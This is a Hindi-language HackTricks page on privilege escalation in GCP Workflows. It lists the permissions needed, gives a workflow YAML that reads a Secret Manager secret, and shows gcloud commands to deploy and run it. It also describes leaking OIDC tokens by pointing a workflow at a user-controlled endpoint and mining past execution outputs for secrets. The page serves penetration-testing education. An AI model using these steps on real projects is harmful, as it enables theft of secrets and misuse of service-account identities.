GCP - Workflows Privesc
Reading time: 4 minutes
tip
AWS हैकिंग सीखें और अभ्यास करें:HackTricks Training AWS Red Team Expert (ARTE)
GCP हैकिंग सीखें और अभ्यास करें: HackTricks Training GCP Red Team Expert (GRTE)
Azure हैकिंग सीखें और अभ्यास करें:
HackTricks Training Azure Red Team Expert (AzRTE)
HackTricks का समर्थन करें
- सदस्यता योजनाओं की जांच करें!
- हमारे 💬 Discord समूह या टेलीग्राम समूह में शामिल हों या हमें Twitter 🐦 @hacktricks_live** पर फॉलो करें।**
- हैकिंग ट्रिक्स साझा करें, PRs को HackTricks और HackTricks Cloud गिटहब रिपोजिटरी में सबमिट करके।
Workflows
मूल जानकारी:
workflows.workflows.create
, iam.serviceAccounts.ActAs
, workflows.executions.create
, (workflows.workflows.get
, workflows.operations.get
)
मेरी जानकारी के अनुसार, यह संभव नहीं है कि एक शेल प्राप्त किया जाए जिसमें उस Workflow से जुड़े SA के SA क्रेडेंशियल्स वाला मेटाडेटा एंडपॉइंट तक पहुंच हो। हालांकि, Workflow के अंदर प्रदर्शन करने के लिए क्रियाओं को जोड़कर SA की अनुमतियों का दुरुपयोग करना संभव है।
कनेक्टर्स की दस्तावेज़ीकरण ढूंढना संभव है। उदाहरण के लिए, यह Secretmanager कनेक्टर का पृष्ठ** है।** साइड बार में कई अन्य कनेक्टर्स मिल सकते हैं।
और यहाँ आप एक कनेक्टर का उदाहरण देख सकते हैं जो एक रहस्य प्रिंट करता है:
main:
params: [input]
steps:
- access_string_secret:
call: googleapis.secretmanager.v1.projects.secrets.versions.accessString
args:
secret_id: secret_name
version: 1
project_id: project-id
result: str_secret
- returnOutput:
return: "${str_secret}"
CLI से अपडेट:
gcloud workflows deploy <workflow-name> \
--service-account=email@SA \
--source=/path/to/config.yaml \
--location us-central1
यदि आपको ERROR: (gcloud.workflows.deploy) FAILED_PRECONDITION: Workflows service agent does not exist
जैसी त्रुटि मिलती है, तो बस एक मिनट प्रतीक्षा करें और फिर से प्रयास करें।
यदि आपके पास वेब एक्सेस नहीं है, तो आप निम्नलिखित के साथ एक Workflow को ट्रिगर और उसके निष्पादन को देख सकते हैं:
# Run execution with output
gcloud workflows run <workflow-name> --location us-central1
# Run execution without output
gcloud workflows execute <workflow-name> --location us-central1
# List executions
gcloud workflows executions list <workflow-name>
# Get execution info and output
gcloud workflows executions describe projects/<proj-number>/locations/<location>/workflows/<workflow-name>/executions/<execution-id>
caution
आप संवेदनशील जानकारी की तलाश के लिए पिछले निष्पादन के आउटपुट की भी जांच कर सकते हैं
ध्यान दें कि भले ही आपको PERMISSION_DENIED: Permission 'workflows.operations.get' denied on...
जैसी त्रुटि मिले क्योंकि आपके पास वह अनुमति नहीं है, कार्यप्रवाह उत्पन्न हो चुका है।
OIDC टोकन लीक (और OAuth?)
दस्तावेज़ों के अनुसार यह संभव है कि कार्यप्रवाह चरणों का उपयोग किया जाए जो OAuth या OIDC टोकन के साथ HTTP अनुरोध भेजेंगे। हालाँकि, Cloud Scheduler के मामले की तरह, Oauth टोकन के साथ HTTP अनुरोध को होस्ट .googleapis.com
पर होना चाहिए।
caution
इसलिए, यह संभव है कि OIDC टोकन को उपयोगकर्ता द्वारा नियंत्रित HTTP एंडपॉइंट को इंगित करके लीक किया जाए, लेकिन OAuth टोकन को लीक करने के लिए आपको उस सुरक्षा के लिए बायपास की आवश्यकता होगी। हालाँकि, आप अभी भी SA की ओर से कार्य करने के लिए किसी भी GCP API से संपर्क कर सकते हैं या तो कनेक्टर्स या OAuth टोकन के साथ HTTP अनुरोधों का उपयोग करके।
Oauth
- step_A:
call: http.post
args:
url: https://compute.googleapis.com/compute/v1/projects/myproject1234/zones/us-central1-b/instances/myvm001/stop
auth:
type: OAuth2
scopes: OAUTH_SCOPE
OIDC
- step_A:
call: http.get
args:
url: https://us-central1-project.cloudfunctions.net/functionA
query:
firstNumber: 4
secondNumber: 6
operation: sum
auth:
type: OIDC
audience: OIDC_AUDIENCE
workflows.workflows.update
...
इस अनुमति के साथ workflows.workflows.create
के बजाय, एक पहले से मौजूद वर्कफ़्लो को अपडेट करना और समान हमले करना संभव है।
tip
AWS हैकिंग सीखें और अभ्यास करें:HackTricks Training AWS Red Team Expert (ARTE)
GCP हैकिंग सीखें और अभ्यास करें: HackTricks Training GCP Red Team Expert (GRTE)
Azure हैकिंग सीखें और अभ्यास करें:
HackTricks Training Azure Red Team Expert (AzRTE)
HackTricks का समर्थन करें
- सदस्यता योजनाओं की जांच करें!
- हमारे 💬 Discord समूह या टेलीग्राम समूह में शामिल हों या हमें Twitter 🐦 @hacktricks_live** पर फॉलो करें।**
- हैकिंग ट्रिक्स साझा करें, PRs को HackTricks और HackTricks Cloud गिटहब रिपोजिटरी में सबमिट करके।